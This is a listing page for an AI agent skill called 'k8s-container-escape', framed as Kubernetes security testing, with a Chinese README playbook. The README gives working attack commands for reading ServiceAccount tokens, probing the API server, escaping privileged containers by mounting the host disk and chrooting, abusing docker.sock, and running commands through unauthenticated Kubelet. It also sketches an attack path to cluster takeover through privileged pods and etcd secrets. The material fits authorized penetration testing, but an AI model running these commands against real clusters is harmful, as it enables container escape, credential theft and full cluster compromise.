mcpField
K
k8s-container-escape

k8s-container-escape

github.com/wgpsecSecurity1.8k45 installsUpdated 4d ago
Repository

About k8s-container-escape

A container escape and cluster attack skill for Kubernetes security testing, with environment checks, attack-path guidance, and command examples. It covers permission review, container escape, Kubelet access, and cluster-level techniques, with links to detailed references.

Key features

  1. 01Identify container and Kubernetes environments
  2. 02Check container escape conditions
  3. 03Assess ServiceAccount and RBAC permissions
  4. 04Probe Kubelet and cluster services
  5. 05Consult escape and cluster attack references

Use cases

  1. 01Assess escape risks in a Pod
  2. 02Review cluster actions available to a ServiceAccount
  3. 03Examine exposure of Kubelet and cluster services

Install

Copy the command and run it in a terminal.

$npx skills add https://github.com/wgpsec/aboutsecurity --skill k8s-container-escape

After installing, type/k8s-container-escapein Claude Code to confirm it loaded.

Bundled files

References and scripts installed along with SKILL.md.

evals/
evals.json
references/
cluster-attacks.md
escape-techniques.md
rbac-and-api-abuse.md

Details

From the project README

Kubernetes 容器逃逸与集群攻击

K8s 集群一旦被突破,攻击面极大——从单个 Pod 可以横向扩展到整个集群的所有节点和服务。

⛔ 深入参考(必读)


Phase 1: 环境识别

1.1 确认在容器内
cat /proc/1/cgroup 2>/dev/null | grep -qi 'docker\|kubepods\|containerd'
ls /.dockerenv 2>/dev/null || ls /run/secrets/kubernetes.io 2>/dev/null
hostname    # K8s Pod 名通常含 deployment 名
env | grep -i kube
1.2 K8s 环境信息收集
# ServiceAccount Token(几乎每个 Pod 都有)
SA_TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
CA_CERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace 2>/dev/null)

# API Server 地址
echo $KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT

# 测试 API 权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
  https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespaces/$NAMESPACE/pods
1.3 外部端口探测
端口服务攻击面
6443API Server未授权/Token 利用
10250Kubelet命令执行
10255Kubelet (只读)信息泄露
2379etcd全量数据(含 Secrets)
8080API Server (不安全)完全控制

Phase 2: 攻击决策树

当前位置?
├─ 容器内部
│   ├─ 特权容器(privileged=true)→ 挂载宿主机 → 逃逸
│   ├─ 挂载了 hostPath/docker.sock → 逃逸
│   ├─ 有 SA Token → SelfSubjectRulesReview / can-i → RBAC 权限驱动攻击
│   ├─ 能 create pods / pods/exec / impersonate → Pod 创建、进入高权限 Pod 或模拟高权限账户
│   └─ 普通容器 → 内核漏洞/cgroup 逃逸
├─ 可访问 Kubelet (10250)
│   └─ 未授权 → 任意 Pod 命令执行
├─ 可访问 API Server (6443/8080)
│   ├─ 匿名访问 → 创建特权 Pod
│   └─ Token → RBAC 权限枚举
└─ 可访问 etcd (2379)
    └─ 提取所有 Secrets
详细命令 → 参考 references

Phase 3: 容器逃逸速查

特权容器逃逸(最常见)
# 检查是否特权容器
cat /proc/1/status | grep -i cap
# CapEff: 0000003fffffffff 表示全能力 = 特权容器

# 方法 1: 挂载宿主机文件系统
mkdir -p /tmp/hostroot
mount /dev/sda1 /tmp/hostroot
chroot /tmp/hostroot bash
Docker Socket 逃逸
ls -la /var/run/docker.sock
# 存在则可创建特权容器挂载宿主机
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json

→ 完整逃逸手法 → references/escape-techniques.md

Phase 4: Kubelet 未授权

# 列出所有 Pod
curl -sk https://NODE_IP:10250/pods

# 在任意 Pod 中执行命令
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD/CONTAINER \
  -d "cmd=id"

Phase 5: 集群接管

# 用 SA Token 检查权限
curl -sk -H "Authorization: Bearer $SA_TOKEN" \
  https://API_SERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
  -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"create","resource":"pods"}}}'

# 能创建 Pod → 创建特权 Pod 挂载节点

→ 详细集群攻击 → references/cluster-attacks.md

工具速查

工具用途
kubectlK8s 集群管理
kubeletctlKubelet 利用
CDK容器逃逸自动化
PEIRATESK8s 渗透框架
etcdctletcd 数据提取

Comments

Markdown supported